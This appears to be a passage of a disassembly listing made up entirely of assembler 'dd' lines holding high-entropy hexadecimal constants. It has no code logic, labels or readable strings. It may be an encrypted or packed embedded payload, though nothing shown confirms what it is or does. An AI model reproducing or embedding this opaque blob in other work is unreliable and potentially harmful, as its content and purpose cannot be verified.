dd 7BA33404h, 0B7BA20FBh, 352E540h, 0CA808BB2h, 0A9EFEB3h
dd 0C23D3078h, 69F2962Dh, 0BF14E40Dh, 0BE4E1A38h, 0B1F2BC12h
dd 7D78FA97h, 13354FE9h, 0E231AFEBh, 8F7B07A2h, 7CFC5E02h
dd 0FCC9EE13h, 5FFAA089h, 3F592A68h, 15902598h, 619228D9h
dd 0E1E6C2EFh, 49E2C5F7h, 0F040D2Eh, 220781C9h, 118D6A2Dh
dd 0FB58E229h, 0F90DE983h, 0C9D52240h, 0C8A5FE76h, 1F817BFh
dd 9D2ADE9h, 0A78841Dh, 0E9F810B6h, 1A99EF3h, 0A9B96651h
dd 7340881Bh, 0FD310EEDh, 4CD088E9h, 5BDD280Bh, 5F340B50h
dd 0AA04798Bh, 0A038EA1Ch, 1FAB2768h, 0FF7968A2h, 0DB2F7C67h
dd 5BDE032Bh, 68F8EE83h, 799F5691h, 9ACC4931h, 3549A0B0h
dd 53A10741h, 4EA263BCh, 63795668h, 0C05CC8E2h, 0B12D0204h
dd 753ECE20h, 0C62BC002h, 85506602h, 0EF88FEBCh, 6078B7C9h
dd 0D6398490h, 2920136Eh, 4D1CFBh, 0E92F6440h, 0FBBD9519h
dd 41E4A870h, 83B07FA4h, 0BF02E683h, 7E8FAB0h, 0A71CF19Dh
dd 76B48158h, 44E7BD01h, 87E85FA8h, 0B214C3DEh, 0B210FE17h
dd 68131138h, 4B8BA897h, 6FA2F7BCh, 56F935C2h, 5D25099Ch
dd 1444CACCh, 0B191A851h, 4FB4EEEAh, 0FAB374DAh, 0B610E15Dh
dd 1EED116h, 0E3165BFDh, 574D006Ch, 68610932h, 3CB04834h
dd 968827E7h, 0FA0AD310h, 0AEE36F80h, 7944243Fh, 0EF800253h
dd 17F4F7FFh, 4EB14F0Bh, 19424C47h, 5971A520h, 0FB9248EEh
dd 4414BF04h, 81BB091Dh, 320E5E0h, 5F9C0958h, 0BE070E24h
dd 3500E8F4h, 4A2D0628h, 6F690F05h, 8BE42171h, 1E3CAB25h
dd 0BFE84F17h, 437E382Dh, 0CD6C668h, 0F021FD90h, 0BC5EF490h
dd 543F1D49h, 25636055h, 0E925160Bh, 81CED4F0h, 38F314F7h
dd 0C1B86AF4h, 0D248B24Fh, 0A1368279h, 4B698210h, 0D2BB6157h
dd 508B20h, 0B47D66A2h, 2B7726E6h, 37DA7A8Ch, 0AC81B377h
dd 5A8E5D60h, 20EC89C8h, 56BE77BDh, 0DF314789h, 0EC980A6Eh
dd 0D12A6241h, 3E0A52E7h, 80CDCE33h, 0FC4A6109h, 0F4535436h
dd 8D4B03A8h, 4CF8106h, 8020E4E7h, 0B823B1D2h, 690C6F60h
dd 5E111C6Dh, 98DED047h, 0A64A18EEh, 9525FDE9h, 340DD5C0h
dd 30B37A03h, 0D22C2335h, 20B274DBh, 4A250C88h, 0AB0C09E6h
dd 8C51C616h, 0B10681BBh, 0C1EA04E0h, 729A328Ch, 10AB5EBBh
dd 43549240h, 90455F5Ah, 5D336864h, 925847Fh, 0CF52D1B5h
dd 848692CAh, 0C05EF209h, 0C35FDB2Fh, 5615C5Ch, 7576DF56h
dd 8E0C4FC4h, 9F77D78h, 7AB72B4h, 212D3C58h, 7A96F7F1h
dd 4E363E22h, 69D4B356h, 1569770Dh, 0A11B6AC6h, 990AB632h
dd 0CCDD256Ch, 0AD1C4F21h, 35F0C002h, 5AE95377h, 0B1101CE4h
dd 0EAC3615Ch, 69F7DF88h, 13434684h, 0EC1BC9EFh, 0A8BE13FBh
dd 0EF4A7791h, 0F225E18Fh, 78771509h, 48122572h, 0B760F254h
dd 4CE7807Bh, 69163695h, 0DD710488h, 0BB6601EDh, 31D02ED8h
dd 0F85C9FCBh, 0FD8A5D8Bh, 936199BAh, 0B62C3FB2h, 96C39156h
dd 8626A92Bh, 6AC59Ch, 7E0933B9h, 52D1F70Dh, 1CA9BA1Ah
dd 13E47C0Ah, 0EFB3C559h, 0CCDEA804h, 0F217F7A3h, 5C21CCBAh
dd 2C459B7h, 114D352Ah, 5F690640h, 0E960B30Fh, 27AD38FAh
dd 0DD7127A8h, 0ECFA96F5h, 7DC209E7h, 0E7727A0Fh, 0C3CC7704h
dd 0A4FB31E1h, 599D4EE1h, 77680BA9h, 5BB2D1C8h, 390CE588h
dd 7A482C70h, 8D0F0902h, 50572913h, 7EE03BFh, 9EE90C11h
dd 0E20BFC9Dh, 6DAD4057h, 68B08394h, 0D434618Ah, 0F0F86A2Eh
dd 0CED45C2Fh, 759EDC89h, 4A01C8E7h, 313B2509h, 68D1E901h
dd 9E4D3281h, 17A37D8Bh, 8D5B8C84h, 4AF98A28h, 0C53F9076h
dd 0C03B327Bh, 0B5ED0014h, 1473D55h, 8A85B8FDh, 0FA565508h
dd 290B1720h, 7A5F5AD5h, 41695A76h, 1213E163h, 0F1F0208Fh
dd 0E3239309h, 0FECA5750h, 5A8FE45Fh, 10F9A2C3h, 11DD1FAh
dd 4925D2F2h, 50B57A1h, 5CA554DCh, 0AD3497Ah, 0FCC79609h
dd 79004B67h, 707519C3h, 178FB2C0h, 0A8297AAAh, 92149F99h
dd 855595B7h, 0BEC05B8Bh, 0EA4DA140h, 45271495h, 0F738058h
dd 0E901F251h, 2D64B0ECh, 592CA10Eh, 0EFCB5E02h, 50B3900Bh
dd 7B010B54h, 6E84D821h, 526D4477h, 0D416BC1Eh, 840097FEh
dd 12B1ACB8h, 0B5A0FB21h, 75371F89h, 51249315h, 563CDF00h
dd 0D0E2D596h, 0FD7BA74Dh, 5E579D09h, 8A328E5Fh, 0F02D4D05h
dd 0FFA720CBh, 706EBE05h, 4C822616h, 2F60814h, 1BC70228h
dd 96BB1D48h, 0D4C14525h, 9320305Dh, 0B4BCE27h, 17B184EFh
dd 0C22BE208h, 0D7FEE55Eh, 173E9953h, 2DFC79A4h, 9BE05CCBh
dd 28803193h, 851D2C1h, 592F9F43h, 85746B48h, 0D480AD58h
dd 521A255Dh, 11C09EBEh, 0E1171AE0h, 40B12927h, 405B0802h
dd 2C35B608h, 23F67BDh, 4D1C2CA3h, 6B7D8E75h, 13BA00CFh
dd 951AA109h, 2D199C77h, 20E849E9h, 1418CEF2h, 0A9E53C6h
dd 2B930417h, 0A23AED68h, 0D863501Dh, 2DF650B7h, 0C7E014E9h
dd 4F0BDDBEh, 0DD097B9Fh, 0B921DA07h, 0C6207746h, 315C7E0Ah
dd 681CC2E3h, 2DAF30F7h, 0F3EAFAC0h, 98D0593Ch, 0B44D4FFFh
dd 0E31EE19Eh, 177EF07Eh, 81201239h, 4AE63D8Ch, 92E042Fh
dd 1C31B24Eh, 0CF9FE188h, 0D449EC09h, 0AF5E97C3h, 585073C7h
dd 1150F328h, 20991E9h, 0B97D18CAh, 0DF818062h, 95E424F2h
dd 2319AB02h, 28696801h, 92006436h, 8305636Fh, 7D9501C2h
dd 8481D212h, 0CE5F3B6Dh, 68CC8BDDh, 0B4E1CBA1h, 84C2880Eh
dd 0DEF65907h, 0DFD0B592h, 0F4E15B83h, 0AD20BFADh, 7DB80A27h
dd 0FA062763h, 90C1145h, 4ADCA5D3h, 3F503D06h, 68F031ADh
dd 55C9761Ah, 819F7CF8h, 92449AF2h, 17D93282h, 50904523h
dd 4B953F35h, 5C34872Ch, 3D25E9EEh, 20B37709h, 24EE0CD9h
dd 424EC200h, 40D27D8Ch, 0D577097Bh, 0E7FB2B37h, 63A077DBh
dd 70CE685Bh, 4A285B9Fh, 3FFA0931h, 2D16AF7h, 0D63120F3h
dd 27E15396h, 0C665942Ah, 332F17A1h, 44B30FEEh, 11EC5FCh
dd 0EBD5C0F3h, 0A43C5785h
dd 0A7F1CB25h, 0B1C0806h, 505861F2h, 245F0891h, 0BF985772h
dd 0ED51BF0Ch, 4B86622h, 0E93AD15Dh, 7869FC71h, 116C6816h
dd 6317CEA3h, 5DC53250h, 0AD7AB882h, 26704675h, 42C99168h
dd 0F15D0FA7h, 0A1026492h, 394E302Bh, 0C0AD9F40h, 0E743B096h
dd 0D660F72Eh, 27A065F5h, 0E2015BCDh, 0BA8610EBh, 9FA9826Eh
dd 0B4F66FEEh, 8000C4B4h, 0C2FE64EAh, 7F686266h, 4557D5C1h
dd 0F1DF694Ah, 0EE68C144h, 29CE2F54h, 0E958C705h, 89D0B085h
dd 41183297h, 6600FD23h, 0C862BE0Fh, 0F96C8E96h, 0C09E08F6h
dd 0D1000F24h, 0D08BB050h, 2C8F7E0h, 28960204h, 3E3FE9C3h
dd 1F3646F7h, 39DCF6FDh, 8B59792Dh, 0B151F6E0h, 0BA56C018h
dd 3402E8C0h, 0E25CD972h, 593B2F0Ch, 7473809Bh, 0CE875692h
dd 324F92B2h, 85748Ch, 812E122Ah, 0C32665C9h, 88EB4E4Bh
dd 0D172F737h, 271BD94Ch, 42DF7ED0h, 2D005999h, 50D144FDh
dd 0A005EE69h, 0BAC9E907h, 0B2B526A2h, 8729148Eh, 0D0638A27h
dd 85F85BC7h, 25C96E84h, 24A28D7Ch, 0E918E9D4h, 67CB0324h
dd 0E1991679h, 408866F3h, 0FED27596h, 0C94D13B7h, 0B37EF6EBh
dd 0EE020443h, 0A3EFFBDEh, 8CE9895Bh, 2635881Eh, 13A68F9h
dd 282AB725h, 0C242E812h, 540A3427h, 0DEE941F6h, 17B23F06h
dd 0AC8FEA92h, 0E176A52h, 0A271FCF6h, 257D56E3h, 9D0E165Fh
dd 961957Dh, 8CDE0566h, 0FDF80109h, 0DE314291h, 20A796FDh
dd 5B76BB6Eh, 7AFD642Eh, 771FFC40h, 2E5EC54h, 142B7350h
dd 0CF4857E9h, 0D1786B9h, 0E8000704h, 62A135EAh, 5BD92709h
dd 0B3AC1B55h, 0ED82005h, 15EA2BEDh, 74271F80h, 484A9850h
dd 3E67A9A0h, 1219258Eh, 41533089h, 0E8C7FEBFh, 14C2E1F4h
dd 6A4C295Fh, 55A727C9h, 88D4A0F4h, 0E03388FAh, 0BF12BE61h
dd 70F544F9h, 91B0132Ch, 42587D35h, 252204F9h, 0A0AE7779h
dd 6C3FEF96h, 0D1511D3Dh, 731328A4h, 6A53620h, 0C11F0784h
dd 0EFD104E3h, 4F68837Ch, 0F3B01E19h, 0CF328E2Bh, 5F5BEAB5h
dd 0E1E92D91h, 0C649963Bh, 0C59DC4AFh, 0A9E0AB72h, 1B5D25E9h
dd 20DB36F7h, 6819152Dh, 811573C4h, 76509B28h, 306B1E31h
dd 13DEF952h, 747B02Ch, 0D39812BAh, 1DFF0EFh, 0EC4DC650h
dd 6DBEA290h, 0DA1D6740h, 677FFA4Bh, 72DD1BD6h, 0CCF7A536h
dd 73194276h, 0CCFEBE2Dh, 36DF97F6h, 52029656h, 3CB51977h
dd 69E72E0Dh, 0D6EDF24Fh, 1D85E2E8h, 98335332h, 1C00D654h
dd 81595114h, 287EB7E1h, 0EB2482Fh, 21C5CDF8h, 138246A4h
dd 0D4BD4C0Ch, 2E387CB7h, 0C22B0177h, 0D790B960h, 0D13FA875h
dd 0ADCB3EC4h, 0A1017A2Fh, 257A3DC5h, 0BDA519Dh, 0FA13AC5Dh
dd 2CE2EB5Fh, 7E130ECDh, 44F9A5C8h, 0F74CA009h, 6749DF7Eh
dd 40731A53h, 830C4A86h, 91E864E7h, 0F58BB440h, 0AF0D6BEFh
dd 0E7244856h, 0F1024BB5h, 29BF3E5Dh, 0B6046F65h, 4CBF0F45h
dd 0A4FC0662h, 0E867D00h, 1791BD55h, 0F8D8DFC6h, 0E7100797h
dd 0E39B5A71h, 0B159E912h, 4BE03F6Fh, 9774B8DEh, 8321E158h
dd 622ABCF6h, 5DE7FABFh, 0FC13FCBCh, 2E0FA30Fh, 8BBE6DFBh
dd 89E6229Fh, 665D0378h, 3172B855h, 9BD4BFDAh, 17EBBCC4h
dd 3DEAB3Ah, 5DE45918h, 0A33C0D3Fh, 9B90DA25h, 4B94F3C9h
dd 13A8B846h, 0A8BC731h, 6B578E18h, 0D13F1F2h, 0C2014345h
dd 428B2141h, 1632C5F0h, 0EB1B8768h, 80791C4h, 798B39E9h
dd 0AA4ACFEh, 8085EDFCh, 2AAE15DBh, 0E65AD15Eh, 60D527ABh
dd 75523DF6h, 953684C4h, 89C9590Eh, 4489050h, 0DA4A10F6h
dd 0FC88500Eh, 0AC4BE14Fh, 9AD17261h, 0D523990Eh, 2BEA26C0h
dd 7504ED3Bh, 76272F0Ch, 0F81DDA1Ah, 0E9FD0A50h, 8999865Ch
dd 541A7EFAh, 8A72E577h, 94CC523h, 0F77419DDh, 0A3F5042h
dd 3CC6001Ch, 34BD6151h, 7E875C17h, 0E90B9DF8h, 1BA00371h
dd 0EE8895F5h, 60AA4AC4h, 0EEDA1612h, 8005F385h, 0C2A4EC0Ch
dd 15FB9F5Dh, 0DF976B28h, 0EB01FA02h, 0F1083A5Bh, 815A0ECAh
dd 5C7079C1h, 0D876F00Bh, 0C1DF93BDh, 7B816BA4h, 92227DE1h
dd 45C66F47h, 1D064806h, 2400482h, 0C441ECF8h, 0E033F16Eh
dd 0DEB7ACBDh, 5C4B5CF6h, 70A5E8h, 0B9376F10h, 8CF78A64h
dd 27E6295Ch, 72EED503h, 0B63A5BBDh, 0CB01B3A8h, 38BF3161h
dd 0BA3AE3D1h, 90EEF224h, 5133C32Ah, 0F048A325h, 1BA05B8h
dd 0B0A516A4h, 0B83C5003h, 0F6AC254Ch, 0FE7901ACh, 2031CC22h
dd 1AF4E990h, 5908E695h, 0BE023B16h, 0A614FA45h, 29173274h
dd 85EB67EBh, 51EFCFDh, 6C986F0Ah, 39F344C0h, 303A301Ah
dd 0B0E5839Ah, 0DF89B80Bh, 13713E9h, 0D05FA086h, 2050553Bh
dd 0B45F2603h, 5380A425h, 5979834Ah, 6882C85Bh, 0E903462Dh
dd 28888CC0h, 8BF204BAh, 0ABDE2128h, 87241B16h, 5F77A8h
dd 1CB3CEA4h, 4B806ACDh, 953204E1h, 0AF022768h, 52EFD634h
dd 0EED4FA85h, 859450EFh, 0D65FE909h, 7AC1CC6Ah, 0EE8100DDh
dd 0A12E1201h, 45F4030Ch, 31EB6148h, 4E9B3410h, 9F06AF5Bh
dd 637BA4Bh, 5A709AE6h, 2D1A9777h, 0FDD6FD0Ch, 0E0DFB24Ah
dd 0C98941A4h, 0AFF7C7F1h, 40936B60h, 0FC968A5h, 5D29B84Bh
dd 413CA264h, 185852C3h, 0B7C9D871h, 9E46B83Bh, 0B9A0BB53h
dd 602D07ADh, 0C1075C28h, 3601BF68h, 0B48F12E6h, 966179AFh
dd 29EB7C74h, 4B813EBEh, 9C305E0Ah, 8D114FF9h, 45AF3A32h
dd 0AFFEDC67h, 1CCD2FF2h, 26A23011h, 0A16A5981h, 0FC832BD3h
dd 5AE2B731h, 0F444FDF0h, 4713854Fh, 0EDA840BEh, 86539BC8h
dd 83DFC097h, 82D697C3h, 7D04EC2h, 37CD624Ah, 69FBF97Fh
dd 0E8655807h, 5559CE09h, 0DA55EE1Ah, 0E1E65B92h, 0D6702DB4h
dd 5A2D4FA9h, 6575D762h, 0A82197B4h, 0F9C2B4E0h, 5BFEEA07h
dd 28C90D5h, 7950EEB9h, 65825F33h, 3A75E1DEh, 0B9A7D575h
dd 0E9149C9Fh, 1548C2FFh, 1E072CEh, 2441248h, 0E40A3AE2h
dd 0E9824889h, 0AFF024F7h, 0D9D5085Eh, 0BF002D24h, 8354B37Fh
dd 0ED0148C0h, 905E4904h, 7441FA0Dh, 0A24C803Bh, 822E0C7Ah
dd 0D13C5A8Dh, 609825E0h, 2C67BF68h, 168963Bh, 0EA2B19C7h
dd 47F45326h, 2D3F143Ch, 1617849h, 0EC837A5h, 801E60E9h
dd 84685640h, 0C036DB69h, 27BCC6B0h, 0B1907C24h, 4C74960Ch
dd 12F5E671h, 26C8B58h, 0F9401AD2h, 5EF38FE0h, 18EBB905h
dd 3DEF7836h, 0C9047BB4h, 411F0683h, 6B1A03CAh, 2BA3ED05h
dd 0DCEE4D17h, 0FA4AAD0Fh, 3AD81524h, 40F61BF1h, 72B09AB0h
dd 0FB4F390Fh, 55C126ADh, 7E32E957h, 0F021FA09h, 0CDDB9DACh
dd 77A05317h, 200FB8F6h, 504A849Dh, 7F1E00ECh, 28EDCC48h
dd 0A9A84F16h, 7D2E076Ah, 2502B110h, 0D59F322Dh, 0DE832070h
dd 58ACC64Bh, 0BEB89B85h, 12D3A4E2h, 0D8300978h, 0D3F59062h
dd 426149BEh, 804D8F42h, 0AB28DCEFh, 9D096B5Ah, 0F07E8366h
dd 0CB01A915h, 0F6528A60h, 0CEBEFA56h, 138BE918h, 7AE946D6h
dd 93D79E5Dh, 0EAF0C4ADh, 0F53E8AA6h, 865C8CCEh, 50B2B75Eh
dd 48C1BD02h, 72E0262Bh, 7033372h, 0E7D14F13h, 0D19F92E9h
dd 0C8366C9h, 4280E925h, 9D4CDD34h, 17F0A637h, 1DA0BA64h
dd 6DED3BB8h, 5095492h, 0E8E08BEEh, 0F31D8160h, 0B46F349Ah
dd 93B883FDh, 28476D48h, 5F5E07EBh, 0C23118A9h, 0F828056Dh
dd 29136744h, 30953C8h, 0FE57A638h, 0C9FE9F30h, 0AAE65C93h
dd 0FA8DA813h, 22AF3C94h, 795812E6h, 6805D6BBh, 128D5C6Dh
dd 9B2396E0h, 0CAD214DCh
dd 9D57B2Ch, 0FBD7FF43h, 0F545996Eh, 79EA6C5Eh, 2BB07051h
dd 2E6439ABh, 0CE68D781h, 0EC74123Ah, 809FB692h, 30C5C0h
dd 35400B0Dh, 386E1610h, 790FD490h, 9D4869EDh, 0AF5F45C2h
dd 79535F62h, 0FE17E984h, 4099D2B4h, 0CD0BB953h, 8B09442Eh
dd 9E627F0Bh, 55084EF4h, 64571A24h, 80DF50A9h, 1133BDBAh
dd 66C0BF84h, 0D0B5C731h, 0E95ED023h, 6BA2F102h, 0D055653Ch
dd 0F95B67h, 55D5BB62h, 0B904563Fh, 47F308D0h, 26DDAC2h
dd 15C5EF01h, 3A41E4ACh, 0FB3BFFBFh, 0A1316B66h, 80064E4Ah
dd 3021EF0Ch, 0CE70C82h, 429D7EDCh, 6D307F18h, 7CF760A9h
dd 0E0F6FF8Ah, 0BDFEE480h, 5312DDC7h, 0A6157306h, 5AD62FA3h
dd 7EAF1AF9h, 9F7EB87h, 88C9159h, 95971524h, 4B1C0102h
dd 0FD6BC3F6h, 0BE5635C0h, 6043DEBFh, 5B1FF008h, 74297A1Bh
dd 0C344210h, 4019E917h, 8D1A2D96h, 0A7909EA6h, 0DC6D8B0Ch
dd 13F40C7Dh, 0F5047B3Ah, 0C080693h, 0F3841482h, 105B09A3h
dd 5EB46893h, 8107B262h, 3FBE26EFh, 64A5F282h, 48573C0Bh
dd 2FE9DD37h, 35F3F6E1h, 13F8DB69h, 97E20BF3h, 6443A0E8h
dd 24E63D4Ch, 0DF244CC1h, 28E25D25h, 7D56C741h, 4C0E06E5h
dd 79367415h, 0A6242C5Fh, 0C2C9BB66h, 8B50D240h, 1554D43Fh
dd 41E38A27h, 2CF8E1D2h, 355801ACh, 4C417FD6h, 0D27F442Ah
dd 1CDD888Bh, 9B0910B6h, 20907D6Eh, 4BF45F01h, 2814B162h
dd 1272CCEEh, 0B85AF388h, 0C3FE0E68h, 534EB980h, 427A1D7Eh
dd 349D685Bh, 6AB4B398h, 0FCC48000h, 30FAB353h, 0F6E912DCh
dd 59CDEBACh, 0D071FA2Ah, 397C02B8h, 0C2B1A8D2h, 0E252C328h
dd 0DD8EEAE2h, 0C12DBF96h, 78437A62h, 80CFECC6h, 0B001EA81h
dd 59223076h, 2460C201h, 825200E1h, 0E9DFF765h, 0FE4FD316h
dd 0EB5E718Bh, 5B268C28h, 78DBD051h, 2C94FEF5h, 0EB055B40h
dd 27FB801h, 1D7206BFh, 3E404E5Eh, 0A12F5188h, 0CE5BF057h
dd 96E4A998h, 4221EE85h, 40DCD589h, 0E60ED12Fh, 3915680Bh
dd 7D8B6D79h, 41EC1A47h, 0AB04C3D3h, 4F90A680h, 80345FDFh
dd 6062CD13h, 1046AA35h, 0ADAE6000h, 25E9B2E4h, 8B187BF3h
dd 0BC3E1085h, 5C33963Dh, 68CFBFB8h, 41664B89h, 4B1F214Eh
dd 6016FDAFh, 0D17E517Ch, 59204F18h, 0A3525A49h, 0AEC829Bh
dd 0A8151272h, 78C0C261h, 0C3226057h, 72E20237h, 4BABE99Bh
dd 0CBDB71D5h, 62AF307Dh, 0F4F78B21h, 0ABB2AE53h, 0AA34E984h
dd 555AC209h, 0D027A9E5h, 48BF00DBh, 0E902FB7Fh, 0B0DDCB4Fh
dd 5CB33849h, 0C329A35h, 0E0E2817Eh, 735754EBh, 0FE40E29Ah
dd 97272D5Bh, 0F7798237h, 0CF1860D1h, 17622C0Ah, 5F6A023Fh
dd 22F7247Ch, 0D9F8ECE7h, 2967A59Bh, 3F922017h, 9DF87823h
dd 0EFDEFAA2h, 5549145Eh, 0E53099C8h, 29BF3BF7h, 9F287A00h
dd 0BB21752h, 958E06B7h, 0BD0750B6h, 153C1709h, 429789A4h
dd 43B9F305h, 14306E1Ah, 650B2C59h, 2D9AC49Eh, 0B2623EE9h
dd 0B2ECE173h, 58E92FC0h, 503BFC62h, 945E57F2h, 53590F24h
dd 480AE841h, 0A4603BF9h, 5FF178C9h, 0EE83C41Ch, 8DCBF5D2h
dd 492008C7h, 103B05B9h, 9276E935h, 5E5D05B0h, 0A9B2EB1h
dd 8384DF43h, 32A2363Eh, 2E4A88D1h, 0B617AB8Eh, 68A660C2h
dd 0CCBD79F4h, 0CCE9164Fh, 0BF41528Eh, 57D6A0B1h, 6805ABFCh
dd 6C52286Ch, 2C692B02h, 0FC9060BCh, 374EBFE7h, 8E9ED1F6h
dd 5143B603h, 0C18088B1h, 9558959Fh, 0F8DB8220h, 0CA882733h
dd 50976247h, 0AC7B122Dh, 0D030C51Bh, 0E951FC41h, 446FB3E3h
dd 132225EEh, 0BA9D16AAh, 68595BC0h, 0B62BE1D4h, 665C814Fh
dd 1320E9F7h, 8418BD12h, 76828296h, 0A45A49C7h, 0A3E77D27h
dd 0F35C6DFEh, 7DBADA25h, 75CB7E27h, 0AC96E011h, 4195B2FAh
dd 626B5E1Ah, 895D7403h, 1DC57F69h, 5E4CCC42h, 3838EAC0h
dd 1E846085h, 79D7C04Fh, 7F761B6Eh, 4C4BCF04h, 0ADFB475Fh
dd 898A09C7h, 0ABAE0205h, 936D7C46h, 0F92E715Eh, 900014B0h
dd 0A7A4070h, 80CEA05Bh, 0F0B5A326h, 305464EDh, 0AC0C41F3h
dd 0D52DB791h, 654EF929h, 845FFC58h, 17BF79E9h, 7A73FA1Ch
dd 4A3C88EFh, 0DF293476h, 2B081AB0h, 757EAA40h, 92A2D58Ah
dd 5157C4FCh, 18556B02h, 2F3DB771h, 0C356DFF6h, 519AA06Eh
dd 1501B450h, 0EAB82AE9h, 38645876h, 0C3A57A3Dh, 50BA1A40h
dd 0FA54812h, 2071DA00h, 35560Bh, 27F31511h, 61468C25h
dd 45E96009h, 64CA5CCEh, 8835EF51h, 0D018BEE6h, 0DBE605Fh
dd 7581F09h, 2FBBD821h, 459034Bh, 6F72E147h, 6C1861C3h
dd 8731093Fh, 92D514D7h, 0EDB22E56h, 0FEF093BBh, 0C527F804h
dd 0BB4FE610h, 0F44F5716h, 226FE657h, 11B017EFh, 0DA5D0A76h
dd 0E96417ACh, 6C050217h, 0C314E123h, 19E6DB1Ah, 4064B5ECh
dd 0B3CA6AF2h, 3D74BA25h, 1491E985h, 0D8023AC8h, 49FA8C07h
dd 5F5B7E3Eh, 96F56800h, 0B03B08B0h, 0E8244B20h, 0D3BAE43Bh
dd 40E4E3E8h, 21742CBh, 71B59046h, 2FE7193Ch, 238FA4Bh
dd 40CBD558h, 0B6E8BF9Ch, 3785C04Eh, 44903E85h, 66EB5B1Dh
dd 5FFE2985h, 2CE92BC8h, 69919A83h, 10F20406h, 2CAB5F4Fh
dd 0C2B774A4h, 154C5D37h, 0F0062DEh, 9EE94C47h, 9569F3Dh
dd 885DE5CBh, 471C5637h, 0C0D9A77Bh, 50EE8810h, 5F22C566h
dd 0E43A8DC7h, 719ED747h, 655B5F49h, 5431306Ch, 0FCDA38Ch
dd 1EFC164Bh, 0E0C3677Dh, 94AEEDA9h, 7EA5350h, 69BB31A4h
dd 0E2755C2h, 901D8AE0h, 0EB048101h, 16DE23DFh, 8F262CBEh
dd 3A2D6475h, 0E3C04009h, 973712B5h, 7A060562h, 883B8602h
dd 1249FF01h, 9BEEE972h, 0E460CD7Ah, 12D74401h, 0C94D91EBh
dd 68F3B0D0h, 5F04A3B5h, 0D3E481B9h, 0E458024Fh, 0E51C261Ch
dd 0D145C4F8h, 4C0C3301h, 0C409F2D6h, 4449D4Ah, 0AA1731A8h
dd 5C077107h, 0E95D23B3h, 0BC6A02AAh, 0CBB4A40Dh, 0A06DD6E7h
dd 68715207h, 75312D4Ah, 2105F078h, 94DE1BDEh, 73D3C110h
dd 0CF8E65Ah, 134BC205h, 0E701BE46h, 6458ABCEh, 14C69740h
dd 7CAC304Dh, 29497A28h, 8E09432Dh, 220561E5h, 936B5F32h
dd 8BE4F2ACh, 0FA310EAAh, 0FEC605E9h, 828E64ABh, 88239A11h
dd 50E4BAEAh, 0C859B7EDh, 4D545F5Ah, 0E5AD3F64h, 5F1A0325h
dd 95658D7h, 3EC77B30h, 280B4C5Eh, 0E96D0177h, 3243693h
dd 2EE4A4D7h, 8590D1BBh, 80753E71h, 3F99E57Fh, 0B648A528h
dd 6B292509h, 0B4E2021Dh, 67AD0EEBh, 0FE6FC07Bh, 53556800h
dd 32335245h, 6C64382Eh, 44411CF0h, 4950CA56h, 544E630Dh
dd 518D4CF3h, 0CFF010Ah, 0A0875E9h, 9F350F68h, 0CF420614h
dd 0B885FDE1h, 0C50A08A1h, 24A0BD42h, 0A1F121BBh, 5D10B112h
dd 8A789A2h, 9DA3442Ch, 22A84284h, 887B0093h, 9A8E7E1Ch
dd 0A21C9230h, 0BA8048AAh, 0D0C05EC4h, 0D57300DBh, 0A69B0968h
dd 0B000A03Eh, 0C7B755B9h, 24D06ECEh, 3CE6E0h, 0F1198AEBh
dd 7500FDA5h, 0AD93E5F8h, 595485h, 0D10726Ah, 0EB741FB7h
dd 978C6200h, 43D62C2Fh, 7307591Bh, 0F76AD407h, 69FBD05Ah
dd 633B5DABh, 45420010h, 82616CBCh, 0CAC43B8Eh, 913CD400h
dd 0C33A4320h, 4524900h, 1CA7A601h, 12E80071h, 61B7BA18h
dd 30084F7h, 5E43D575h, 0DC1DECh, 119CC435h, 55A34FB1h
dd 1C38C101h, 0CDBFE758h, 80CE1680h, 95F9F0E8h, 0FE4C2B06h
dd 79E4E153h, 0C25E00C1h, 0FDF7CD58h, 0F3001B8Ch, 0FA4FB202h
dd 0F4524Ch, 6B039BF1h
dd 90F2EAC0h, 3F9F9800h, 6D6757D5h, 541D010Fh, 0A599AC53h
dd 0F0ADDFC2h, 512C4463h, 63007EE5h, 736B5BF9h, 83E411h
dd 9989278Dh, 319E3CA4h, 6F64D600h, 82796907h, 9080001Eh
dd 0A9993797h, 0B30251AFh, 0BAE253B4h, 0C1C980A6h, 1F0F5CAEh
dd 8FBB15h, 8BEDDABCh, 9500F0F3h, 0EF600B96h, 0FE6411h
dd 832E7C69h, 0B654B4ADh, 6DCDC600h, 998F016Ah, 0F0CE0034h
dd 0B7ADA553h, 0F8004E51h, 5EBCB68Eh, 3C7FB6Ch, 7EA7360h
dd 0D9184062h, 0C394BDB0h, 0C76507CFh, 207DDFD7h, 0F593F9EFh
dd 0A8100502h, 44429D0Ah, 0EEE5003Bh, 3FCEC8Ah, 150005A3h
dd 201FBD1Bh, 0C0264EBFh, 0D02235D9h, 913D865Ch, 6600F629h
dd 0AE3A948Eh, 0ADE78Dh, 2B2EC6FDh, 721D7B75h, 43A39C00h
dd 88F2524Bh, 7DD1E4A5h, 9EC639F1h, 32BBD884h, 1C0EA5Ch
dd 48ED15A8h, 0FC00501Fh, 5AF2584Eh, 31B6B7F0h, 7C5D3038h
dd 1FBE2892h, 0C28EECE6h, 2B53C44Dh, 84326C48h, 272A8C00h
dd 93CF39D1h, 1D486074h, 5B06645Eh, 170086ECh, 65F95751h
dd 599A2Eh, 0D1DC71EFh, 9F36A752h, 8BC348h, 91F5ECC2h
dd 0E2D88Eh, 8B23797Ch, 49F44221h, 1A7A731Eh, 33938CC0h
dd 0B8B288h, 44AED647h, 6FBD75FBh, 8A6DD704h, 7EBC72E5h
dd 0B9324h, 5259B4B7h, 0B31824CFh, 136E1C4Eh, 0D3E505A1h
dd 36D4D96h, 0C361AFF4h, 0DD7BD9C8h, 6E643A07h, 45C00508h
dd 3EC5C8h, 542D2293h, 0EE3C7010h, 746D4300h, 0BE56C0B4h
dd 37300020h, 861E7E77h, 0D33ACD83h, 29620175h, 14F7796Fh
dd 9D8024D1h, 0CF6DD9CCh, 49B8EBDFh, 99FBF31Ch, 0AF150B80h
dd 122C2111h, 0B926C4h, 0F18FF7EDh, 0A6000A01h, 0BF1F1808h
dd 1373121h, 0DB3C3BD9h, 20A7426Ah, 3630491Ch, 6157FAE4h
dd 606300FBh, 4F52B0AAh, 0BB3C9132h, 55F681C4h, 5DA0B75h
dd 5D5AD840h, 147D4809h, 36F64C27h, 200F292h, 0D2282B8Fh
dd 81E100DAh, 0D4453F17h, 0F6AA3B63h, 595CD100h, 74050FFEh
dd 244758C9h, 98E6B300h, 6665FAh, 0EEBF30DBh, 3F700D23h
dd 9D75F176h, 0AA422C60h, 0A01911E7h, 30B35ED6h, 211B1A42h
dd 0C80669D3h, 0A3BD14E8h, 6B0425A0h, 32AA1DE1h, 1FCA04C5h
